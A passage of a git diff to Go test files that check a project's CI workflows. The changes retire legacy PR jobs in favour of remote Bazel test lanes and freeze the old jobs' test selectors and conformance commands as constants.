(TestPRGateRequiresRemoteBazelLanes). + wantBazelIDs := []string{bazelAggregateGateID, bazelRemoteGateID} for lane, id := range bazelLaneGateIDs { // F3: package-mcp/package-npm's ids (PACKAGE_MCP, PACKAGE_NPM) do not // follow the "BAZEL" naming convention the prefix filter below @@ -3256,26 +3056,16 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { } } - // Legacy jobs stay required: D1 adds, D2 removes. (D2 lets - // pr-risk.yml's embedded, proxied and server Dolt test jobs, and - // build-embedded, skip where the gated lanes run remotely, but they stay - // required ids: TestPRRiskLegacyTiersDeferToBazelLanes.) - for id, job := range map[string]string{ - "BUILD_ARTIFACTS": "build-artifacts", - "PR_CORE_WRAPPER": "pr-core-wrapper", - "CHECK_CMD_BD_PUREGEO_TESTS": "check-cmd-bd-puregeo-tests", - } { - if !contains(required, id) || !contains(gate.Needs, job) { - t.Errorf("pr.yml ci-gate no longer requires legacy %s (%s)", job, id) + // The retired legacy jobs stay retired: nothing in pr.yml or + // pr-risk.yml runs the Go test tiers beside the Bazel lanes. + for _, job := range []string{"build-artifacts", "pr-core-wrapper", "check-cmd-bd-puregeo-tests", "bazel-coverage"} { + if _, ok := pr.Jobs[job]; ok || contains(gate.Needs, job) { + t.Errorf("pr.yml has retired job %s; the Bazel lanes run its tests", job) } } risk := readCIWorkflow(t, "pr-risk.yml") - riskGate := risk.job(t, "ci-gate") - riskRequired := strings.Fields(riskGate.step(t, "Evaluate CI gate").Env["CI_GATE_REQUIRED"]) - for _, id := range []string{"BUILD_EMBEDDED", "TEST_EMBEDDED_STORAGE", "TEST_EMBEDDED_CONFORMANCE", "TEST_EMBEDDED_CMD", "TEST_PROXIED_CMD", "TEST_SERVER_STORAGE", "TEST_SERVER_STORAGE_FULL"} { - if !contains(riskRequired, id) { - t.Errorf("pr-risk.yml ci-gate no longer requires legacy %s", id) - } + if got := sortedKeys(risk.Jobs); !reflect.DeepEqual(got, []string{"ci-gate", "test-nix"}) { + t.Errorf("pr-risk.yml jobs = %v, want only [ci-gate test-nix]; the Bazel lanes in pr.yml run the Go test tiers", got) } // PR Risk does not run the lane a second time. for jobName, job := range risk.Jobs { @@ -3386,13 +3176,7 @@ type bazelGateScenario struct { mode, enabled string // the call's rbe-mode / rbe-enabled outputs call string // needs.bazel.result outputs map[string]string // the lanes' outputs ("" = not reported) - // pr.yml's bazel-coverage job (D2): its outputs, per retiredTiers - // output name ("" = not reported), and its result ("" = success). - covered map[string]string - coverage string - // Non-Bazel needs' results that differ from what the jobs' if: give - // (success, or skipped for pr.yml's legacy jobs that bazel-coverage - // retired, D2 step 3). + // Non-Bazel needs' results that differ from success. results map[string]string // pr.yml's top-level flags the run script reads (the workflow env is // not part of the step's env): bazelFlagGatedLanes' flags. @@ -3436,20 +3220,6 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo } var got string switch { - case m[1] == prRiskCoverageJobName && m[2] == "result": - got = sc.coverage - if got == "" { - got = "success" - } - case m[1] == prRiskCoverageJobName: - known := false - for _, r := range retiredTiers { - known = known || r.output == m[3] - } - if !known { - t.Fatalf("ci-gate env %s = %q: %s has no such tier output", key, value, prRiskCoverageJobName) - } - got = sc.covered[m[3]] case m[1] == "fast-checks" && m[2] != "result": // F7a: fast-checks folds five formerly-standalone jobs into one // job's steps; ci-gate reads each step's outcome via the job's @@ -3490,10 +3260,10 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo // The gate over every execution mode (review D1 F3): the skip script allows // exactly the skips the lanes' own `if:`s produce in that mode, and for every // lane that should run, that lane alone skipped, failed or cancelled turns -// pr.yml's actual gate step red, whatever the aggregate says (in mode remote -// that includes the integration lane, which skips green in mode local); a -// missing or inconsistent mode, or an aggregate failure no lane explains, -// turns it red. +// pr.yml's actual gate step red, whatever the aggregate says; a missing or +// inconsistent mode, or an aggregate failure no lane explains, turns it red; +// and a mode that did not execute the lanes on rbe-west (skip, local, cache) +// is red even when everything that ran passed (BAZEL_REMOTE). func TestBazelGateSimulation(t *testing.T) { requireHostTool(t, "bash") root := sourceRepoRoot(t) @@ -3590,6 +3360,15 @@ func TestBazelGateSimulation(t *testing.T) { committedFlags[g.flag] = pr.Env[g.flag] } scFlags := func(name, call string, outputs map[string]string, flags map[string]string, pass bool, mention string) { + // The lanes are the Linux Go test tiers' only run: a mode that + // executed nothing on rbe-west is red whatever else holds + // (BAZEL_REMOTE, TestPRGateRequiresRemoteBazelLanes). + if !bazelRemoteModes[mode] { + if pass || mention == "" { + mention = bazelRemoteGateID + } + pass = false + } all := copyMap(committedFlags) for k, v := range flags { all[k] = v @@ -3992,26 +3771,25 @@ func TestBazelWorkflowRunsCIConfigWithReports(t *testing.T) { // (artifact name, file names, checksum file, retention), so the jobs that // download ci-build-artifacts can switch to it without other edits. func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { - var prUpload ciWorkflowStep - for _, step := range readCIWorkflow(t, "pr.yml").job(t, "build-artifacts").Steps { - if actionFamily(step.Uses) == "actions/upload-artifact" { - prUpload = step - } - } + // The layout and upload settings of the retired build-artifacts job + // (ga-96smfk.22), which bazel-test's artifact replaced. + prUpload := ciWorkflowStep{With: map[string]string{ + "name": "ci-build-artifacts", + "retention-days": "1", + "if-no-files-found": "error", + }} job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) pkg := job.step(t, "Package bd (ci-build-artifacts layout)") upload := job.step(t, "Upload build artifacts") - // Named by the build-artifact-name input, pr.yml's name by default; the - // run inside pr.yml renames it (TestBazelLaneIsGatedAlongsideLegacy) so - // the two uploads cannot collide. - if prUpload.With["name"] != "ci-build-artifacts" || - upload.With["name"] != "${{ inputs.build-artifact-name || '"+prUpload.With["name"]+"' }}" || + // Named by the build-artifact-name input, ci-build-artifacts by default; + // the run inside pr.yml renames it (TestBazelLaneIsGated). + if upload.With["name"] != "${{ inputs.build-artifact-name || '"+prUpload.With["name"]+"' }}" || readBazelWorkflowCall(t).Inputs["build-artifact-name"].Default != prUpload.With["name"] { - t.Errorf("artifact name = %q, want the build-artifact-name input defaulting to pr.yml's %q", upload.With["name"], prUpload.With["name"]) + t.Errorf("artifact name = %q, want the build-artifact-name input defaulting to %q", upload.With["name"], prUpload.With["name"]) } for _, key := range []string{"retention-days", "if-no-files-found"} { if upload.With[key] != prUpload.With[key] { - t.Errorf("upload %s = %q, want pr.yml's %q", key, upload.With[key], prUpload.With[key]) + t.Errorf("upload %s = %q, want %q", key, upload.With[key], prUpload.With[key]) } } if pkg.ID == "" || upload.If != "${{ always() && steps."+pkg.ID+".outcome == 'success' }}" { @@ -4427,7 +4205,7 @@ func assertBazelTierStep(t *testing.T, job ciWorkflowJob, jobName, config string // setting, subprocess binaries and switches; the lanes' configs keep the // jobs' selection, and the storage lane shares --config=integration's build. // bazel.yml runs both tiers remotely only. -func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { +func TestBazelDoltServerTiers(t *testing.T) { rc := bazelrcLines(t) for _, want := range []string{ "test:doltserver-proxied --@rules_go//go/config:race", @@ -4464,76 +4242,31 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Error(".bazelrc: test:doltserver-integration and test:integration differ in race; they must share their build") } - risk := readCIWorkflow(t, "pr-risk.yml") - build := risk.job(t, "build-embedded") - for step, want := range map[string]string{ - // The proxied jobs' test binary is this race build (--config= - // doltserver-proxied's bd_test), their subprocess bd the non-race one - // (bd_for_tests). - "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", - "Build proxied bd subprocess binary": "go build -tags gms_pure_go -o /tmp/bd-proxied ./cmd/bd/", - } { - if got := strings.TrimSpace(build.step(t, step).Run); got != want { - t.Errorf("pr-risk.yml %q = %q, want %q", step, got, want) - } - } - // The server jobs' binary: integration-tagged (the lane's build tags) and - // not race (dolt_race_off). - m := regexp.MustCompile(`^go test -tags=(\S+) -c -o /tmp/dolt-conformance-test \./internal/storage/dolt/$`). - FindStringSubmatch(strings.TrimSpace(build.step(t, "Build server Dolt conformance test binary").Run)) - if m == nil || !sameTagSet(tagSet(m[1]), tierTags) { - t.Errorf("pr-risk.yml's server Dolt test binary is no longer the non-race `go test -tags= -c`: %v", m) - } - + // The manifest-sharded tiers PR Risk's retired "Test (Proxied Dolt Cmd + // N/15)" and "Test (Server Dolt Full Suite N/16)" jobs ran + // (ga-96smfk.22): the same shard scripts, test binaries and env, now + // sharded by each target's own BUILD.bazel shard_count + // (TestBazelRetiredLanesCheckListedTestsRan pins it against bazel.yml's + // check_shard_coverage.py argument). type shardTier struct { - workflow, job, step, script, binVar, pkg, target, env string - // noBuildShardPin is true when this tier's target's BUILD.bazel - // shard_count is allowed to differ from this workflow/job's own - // matrix size, because a separate Bazel-only lane shards that same - // target on its own manifest block (F2). Reading the expected value - // back out of the same BUILD.bazel file we are about to check would - // be tautological, so these tiers skip the `shard_count = N,` - // sub-assertion below entirely; the real cross-file pin for them - // lives in pr_risk_bazel_coverage_test.go, which ties BUILD.bazel's - // shard_count to bazel.yml's check_shard_coverage.py argument. - noBuildShardPin bool + script, binVar, pkg, target, env string } tiers := []shardTier{ - // pr-risk.yml's own "Test (Proxied Dolt Cmd N/15)" matrix - // stays 15 (the legacy, frozen bd-init-cost-proxy manifest block), - // but cmd/bd:bd_proxied_test's shard_count need not match: the - // Bazel-only bazel-proxied job (bazel.yml) runs that target with its - // own duration-balanced manifest block, not these jobs'. Shard k in - // one split is not shard k in the other; see cmd/bd/BUILD.bazel's - // bd_proxied_test comment and bazel.yml's bazel-proxied comment. - {"pr-risk.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER", true}, - {"pr-risk.yml", "test-server-storage-full", "Test", ".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT", false}, + {".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER"}, + {".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT"}, } for _, c := range tiers { - j := readCIWorkflow(t, c.workflow).job(t, c.job) - shards := len(j.Strategy.Matrix.Shard) - step := j.step(t, c.step) - if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { - t.Errorf("%s %s runs %q, want %q", c.workflow, c.job, step.Run, want) - } - if step.Env[c.env] != "1" { - t.Errorf("%s %s no longer sets %s=1; update %s:%s", c.workflow, c.job, c.env, c.pkg, c.target) - } - buildShards := shards root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) - want := []string{ + for _, w := range []string{ `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, `"$(rootpath //:` + c.script + `)",`, `"` + c.binVar + `",`, `timeout = "eternal",`, - } - if !c.noBuildShardPin { - want = append(want, "shard_count = "+strconv.Itoa(buildShards)+",") - } - for _, w := range want { + `"` + c.env + `": "1"`, + } { if !strings.Contains(rule, w) { - t.Errorf("%s:%s does not contain %q (%s %s):\n%s", c.pkg, c.target, w, c.workflow, c.job, rule) + t.Errorf("%s:%s does not contain %q:\n%s", c.pkg, c.target, w, rule) } } mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) @@ -4547,11 +4280,12 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } } } - conf := risk.job(t, "test-server-storage").step(t, "Test").Run + // PR Risk's retired test-server-storage job's command, frozen. + const conf = `/tmp/dolt-conformance-test -test.v -test.count=1 -test.timeout=15m -test.run '^TestConformance$'` quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) fields := strings.Fields(conf) if len(fields) == 0 || fields[0] != "/tmp/dolt-conformance-test" { - t.Fatalf("pr-risk.yml test-server-storage no longer runs /tmp/dolt-conformance-test: %q", conf) + t.Fatalf("conformance command %q does not run /tmp/dolt-conformance-test", conf) } var wantArgs []string for _, m := range quoted.FindAllStringSubmatch(conf, -1) { @@ -4562,7 +4296,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } } if len(wantArgs) != 4 { - t.Fatalf("parsed %v from pr-risk.yml test-server-storage %q", wantArgs, conf) + t.Fatalf("parsed %v from %q", wantArgs, conf) } root := sourceRepoRoot(t) @@ -4570,7 +4304,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { - t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) + t.Errorf("dolt:dolt_server_conformance_test does not contain %q (the retired test-server-storage job's selection):\n%s", w, rule) } } if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { @@ -4687,7 +4421,7 @@ var bazelEmbeddedRCLines = []string{ "test:embedded --experimental_remote_cache_eviction_retries=0", } -func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { +func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) test := job.step(t, "bazel test //... --config=embedded") if !strings.Contains(test.Run, "bazel test //... --config=embedded") || !strings.Contains(test.Run, "set -o pipefail") { @@ -4763,18 +4497,8 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { } } - risk := readCIWorkflow(t, "pr-risk.yml") - build := risk.job(t, "build-embedded") - for step, want := range map[string]string{ - "Build embedded bd binary": "go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/", - "Build embedded storage test binary": "go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/", - "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", - } { - if got := strings.TrimSpace(build.step(t, step).Run); got != want { - t.Errorf("pr-risk.yml %q = %q, want %q (the race build --config=embedded mirrors)", step, got, want) - } - } - + // PR Risk's retired embedded tier (ga-96smfk.22): its shard scripts, + // conformance partitions and env, which the Bazel targets below run. sharded := []struct { job, script, pkg, target string }{ @@ -4782,28 +4506,11 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt", "embeddeddolt_embedded_test"}, } for _, c := range sharded { - j := risk.job(t, c.job) - shards := len(j.Strategy.Matrix.Shard) - step := j.step(t, "Test") - if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { - t.Errorf("pr-risk.yml %s runs %q, want %q", c.job, step.Run, want) - } - if step.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { - t.Errorf("pr-risk.yml %s no longer sets BEADS_TEST_EMBEDDED_DOLT=1; update %s", c.job, c.target) - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) - // c.target's own shard_count is deliberately NOT asserted to equal - // shards (pr-risk.yml's matrix size) here: since slice F1, the - // Bazel-only bazel-embedded job (bazel.yml) shards both of these - // targets on its own duration-balanced manifest block, a different - // total from PR Risk's/main.yml's legacy "Test (Embedded Dolt {Cmd - // N/20,Storage N/5})" jobs' frozen block (same reasoning as - // cmd/bd:bd_proxied_test's noBuildShardPin above, F2). The real - // cross-file pin for c.target's shard_count lives in - // pr_risk_bazel_coverage_test.go's TestBazelRetiredLanesCheckListedTestsRan, - // which ties it to bazel.yml's check_shard_coverage.py argument via - // bazelEmbeddedCmdShardCount/bazelEmbeddedStorageShardCount. + // c.target's own shard_count is the lane's source of truth; + // TestBazelRetiredLanesCheckListedTestsRan ties it to bazel.yml's + // check_shard_coverage.py argument. for _, want := range []string{ `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, `"$(rootpath //:` + c.script + `)",`, @@ -4811,7 +4518,7 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { `"embedded"`, } { if !strings.Contains(rule, want) { - t.Errorf("%s:%s does not contain %q (pr-risk.yml %s):\n%s", c.pkg, c.target, want, c.job, rule) + t.Errorf("%s:%s does not contain %q (%s):\n%s", c.pkg, c.target, want, c.job, rule) } } // The script's -test.timeout=20m equals Bazel's 1200s action limit, @@ -4844,16 +4551,17 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) } - conformance := risk.job(t, "test-embedded-conformance") - if conformance.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { - t.Error("pr-risk.yml test-embedded-conformance no longer sets BEADS_TEST_EMBEDDED_DOLT=1") + // The retired test-embedded-conformance job's two partitions, frozen. + conformance := map[string]string{ + "core": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$'`, + "audit": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$'`, } quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) for partition, target := range map[string]string{"core": "embeddeddolt_conformance_core_test", "audit": "embeddeddolt_conformance_audit_test"} { - run := conformance.step(t, "Test "+partition+" conformance").Run + run := conformance[partition] fields := strings.Fields(run) if len(fields) == 0 || fields[0] != "/tmp/embeddeddolt-test" { - t.Fatalf("pr-risk.yml %s conformance no longer runs /tmp/embeddeddolt-test: %q", partition, run) + t.Fatalf("%s conformance does not run /tmp/embeddeddolt-test: %q", partition, run) } var want []string for _, m := range quoted.FindAllStringSubmatch(run, -1) { @@ -4863,21 +4571,18 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { case strings.HasPrefix(m[3], "-test.timeout="): // Documented deviation: Bazel kills at 1200s without a // goroutine dump, so the variant's Go timeout is 19m. - if m[3] != "-test.timeout=30m" { - t.Errorf("pr-risk.yml %s conformance timeout is now %q; revisit the variant's -test.timeout=19m", partition, m[3]) - } want = append(want, `"-test.timeout=19m",`) default: want = append(want, `"`+m[3]+`",`) } } if len(want) < 4 { - t.Fatalf("parsed only %v from pr-risk.yml %s conformance %q", want, partition, run) + t.Fatalf("parsed only %v from %s conformance %q", want, partition, run) } rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel"), target) for _, w := range append(want, `"BEADS_TEST_EMBEDDED_DOLT": "1"`, `"embedded"`) { if !strings.Contains(rule, w) { - t.Errorf("embeddeddolt:%s does not contain %q (pr-risk.yml %s conformance):\n%s", target, w, partition, rule) + t.Errorf("embeddeddolt:%s does not contain %q (the retired %s conformance partition):\n%s", target, w, partition, rule) } } } @@ -4886,17 +4591,17 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { // bazel-pure replaces pr.yml's check-cmd-bd-puregeo-tests job: the same pure // cmd/bd test selector, the same pure build set, and the js/wasm hook test // under the same exact-count guard. +// bazel.yml's pure-Go and js/wasm lane is the only run of the CGO_ENABLED=0 +// portability boundaries pr.yml's retired check-cmd-bd-puregeo-tests job +// owned (ga-96smfk.22): the same -short cmd/bd subset, the same cmd/bd and +// test-binary builds, and the exact js/wasm refusal contract with its count +// guard. The selectors below are that job's, frozen. func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml").job(t, "check-cmd-bd-puregeo-tests") job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName) - prSubset := pr.step(t, "Run pure-Go cmd/bd test subset (CGO_ENABLED=0)").Run - m := regexp.MustCompile(`-run '([^']+)' \./cmd/bd`).FindStringSubmatch(prSubset) - if m == nil { - t.Fatalf("cannot find the -run selector in pr.yml's pure subset step:\n%s", prSubset) - } - if job.Env["PURE_CMD_BD_TESTS"] != m[1] || !strings.Contains(prSubset, "-short") { - t.Errorf("%s PURE_CMD_BD_TESTS = %q, want pr.yml's -short -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], m[1]) + const pureCmdBDTests = "^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)" + if job.Env["PURE_CMD_BD_TESTS"] != pureCmdBDTests { + t.Errorf("%s PURE_CMD_BD_TESTS = %q, want the pure cmd/bd -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], pureCmdBDTests) } run := job.step(t, "Run pure-Go cmd/bd test subset (--config=pure)").Run for _, required := range []string{"bazel test --config=pure " + bazelSoleRunArg + " " + bazelFreshArg + " //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { @@ -4909,16 +4614,12 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { } build := job.step(t, "Build cmd/bd and pure-Go test binaries (--config=pure)").Run - prBuild := pr.step(t, "Build cmd/bd (CGO_ENABLED=0, gms_pure_go)").Run + pr.step(t, "Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go)").Run - for pkg, target := range map[string]string{ - "go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd": "//cmd/bd:bd", - "-o /tmp/bd-cmd-puregeo-test ./cmd/bd": "//cmd/bd:bd_test", - "-o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt": "//internal/storage/embeddeddolt:embeddeddolt_test", - "-o /tmp/bd-tracker-puregeo-test ./internal/tracker": "//internal/tracker:tracker_test", + for _, target := range []string{ + "//cmd/bd:bd", + "//cmd/bd:bd_test", + "//internal/storage/embeddeddolt:embeddeddolt_test", + "//internal/tracker:tracker_test", } { - if !strings.Contains(prBuild, pkg) { - t.Errorf("pr.yml pure build steps no longer contain %q; update %s to match", pkg, bazelPureJobName) - } if !strings.Contains(build, target) || !strings.Contains(build, "bazel build --config=pure") { t.Errorf("pure build step does not build %s:\n%s", target, build) } @@ -4945,27 +4646,26 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") } - prWasm := pr.step(t, "Run js/wasm hook boundary").Run wasm := job.step(t, "Run js/wasm hook boundary").Run for _, required := range []string{"bazel build --config=js-wasm //internal/hooks:hooks_test", "go_js_wasm_exec"} { if !strings.Contains(wasm, required) { t.Errorf("js/wasm step does not contain %q:\n%s", required, wasm) } } - // The selector and everything from the count guard on are pr.yml's. - const selector = "run '^TestRunHookReportsUnsupportedExecution$'" - if !strings.Contains(prWasm, " -"+selector) || !strings.Contains(wasm, " -test."+selector) { - t.Errorf("js/wasm selector drifted from pr.yml's %q", selector) - } - guard := func(script string) string { - i := strings.Index(script, "run_count=0") - if i < 0 { - return "" + // Exactly one run and one pass of the refusal contract, no failure or + // skip: compiling the package alone would not execute it. + for _, required := range []string{ + " -test.run '^TestRunHookReportsUnsupportedExecution$'", + "run_count=0", + `=== RUN TestRunHookReportsUnsupportedExecution`, + `^--- PASS: TestRunHookReportsUnsupportedExecution`, + `nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): '`, + `[[ "$line" =~ $nonpass_pattern ]]`, + `run_count != 1 || pass_count != 1 || nonpass_count != 0`, + } { + if !strings.Contains(wasm, required) { + t.Errorf("js/wasm step does not contain %q:\n%s", required, wasm) } - return script[i:] - } - if guard(wasm) == "" || guard(wasm) != guard(prWasm) { - t.Errorf("js/wasm count guard differs from pr.yml's:\n--- pr.yml\n%s\n--- %s\n%s", guard(prWasm), bazelPureJobName, guard(wasm)) } } diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index 19dbf6ea7..754580428 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -64,7 +64,7 @@ func conformanceExitCode(err error) int { // The conformance tiers CI runs are Bazel targets, not this script: Tier 1 // is the embedded lane's embeddeddolt_conformance_{core,audit}_test -// (TestBazelEmbeddedJobMirrorsEmbeddedTier pins their flags), Tier 2 the +// (TestBazelEmbeddedJobRunsEmbeddedTier pins their flags), Tier 2 the // integration lane's //test/conformance:conformance_test, pinned here to the // script's tier: both harness files, built under the e2e or integration tag, // against the injected non-race bd. conformance.yml, which ran the script on diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index 9820ed0ab..dcc75521f 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -96,3 +96,24 @@ func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { t.Errorf("gen_embedded_storage_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) } } + +// bazelServerFullShardCount returns dolt:dolt_server_full_test's own +// shard_count from internal/storage/dolt/BUILD.bazel: the single source of +// truth for the bazel-server-storage lane's full-suite shard split, now that +// PR Risk's legacy "Test (Server Dolt Full Suite N/16)" job, whose matrix it +// used to mirror, is retired (ga-96smfk.22). Mirrors +// bazelEmbeddedCmdShardCount above. +func bazelServerFullShardCount(t *testing.T) int { + t.Helper() + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel"), "dolt_server_full_test") + m := shardCountPattern.FindStringSubmatch(rule) + if m == nil { + t.Fatalf("dolt:dolt_server_full_test has no `shard_count = N,` in internal/storage/dolt/BUILD.bazel:\n%s", rule) + } + n, err := strconv.Atoi(m[1]) + if err != nil { + t.Fatalf("dolt:dolt_server_full_test shard_count: %v", err) + } + return n +} diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 5212bccf8..531a4fc82 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -1,7 +1,6 @@ package scripts_test import ( - "fmt" "os" "os/exec" "path/filepath" @@ -12,45 +11,30 @@ import ( "testing" ) -// D2 step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same -// pr.yml run stand down on the PRs bazel-coverage covers (pr_lanes): -// build-artifacts, PR Core and the pure-Go/js-wasm check, for Bazel / test -// and pure-Go and js/wasm. ci-gate then requires those lanes, and the -// dolt-server lane (the only run of the Dolt-backed domain, uow, tracker, -// doctor/fix and protocol suites), to have run remotely and passed -// (BAZEL_PR_LANES_RETIRED, simulated with the other tiers in -// TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did -// besides those tests keeps running on every PR: the package gates take the -// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane, -// and nogo (//tools/nogo) runs go test's vet checks beside every compile of -// the Bazel lanes. +// pr.yml's PR Core, build-artifacts and pure-Go/js-wasm jobs are retired +// (ga-96smfk.22): Bazel / test, pure-Go and js/wasm and the dolt-server lane +// are their only run, and pr.yml's gate requires them to have run remotely +// and passed (TestPRGateRequiresRemoteBazelLanes). Everything the retired +// jobs did besides those tests keeps running on every PR: the package gates +// take the Bazel-built bd, the Dolt server fingerprint runs on the +// dolt-server lane, and nogo (//tools/nogo) runs go test's vet checks beside +// every compile of the Bazel lanes. const ( - // The legacy jobs' if: not covered. - prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" // bazel.yml's lanes for the step add --config=sole-run whenever they // execute remotely (enabled: mode remote, and the rbe-fork modes - // fork-ro/fork-rw, whose lanes are a fork's only run once - // BAZEL_COVERS_FORKS covers it). + // fork-ro/fork-rw, a fork's or Dependabot PR's only run). bazelSoleRunEnv = "${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }}" bazelSoleRunArg = `${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"}` bazelSoleRunEvictionLine = "test:sole-run --experimental_remote_cache_eviction_retries=0" ) // F3: the package gates moved into bazel.yml (package-mcp, package-npm); -// they depend only on the caller's package-gates input, not on -// bazel-coverage's decision or build-artifacts (TestPackageGateJobs). This +// they depend only on the caller's package-gates input (TestPackageGateJobs). This // map is only their CI_GATE_REQUIRED ids, for the gate-simulation scenarios // below (pr.yml no longer has jobs by these names). var prPackageGateIDs = map[string]string{"package-mcp": "PACKAGE_MCP", "package-npm": "PACKAGE_NPM"} -// Each retired job's needs, exactly. -var prLaneLegacyNeeds = map[string][]string{ - "build-artifacts": {prRiskCoverageJobName}, - "check-cmd-bd-puregeo-tests": {prRiskCoverageJobName}, - "pr-core-wrapper": {"build-artifacts", prRiskCoverageJobName}, -} - // .bazelrc's lines for the configs step 3's lanes run, exactly: the // PR-core selection (test:ci), the dolt-server lane, the pure-Go and js/wasm // lane, and sole-run (their only-run hardening). @@ -157,94 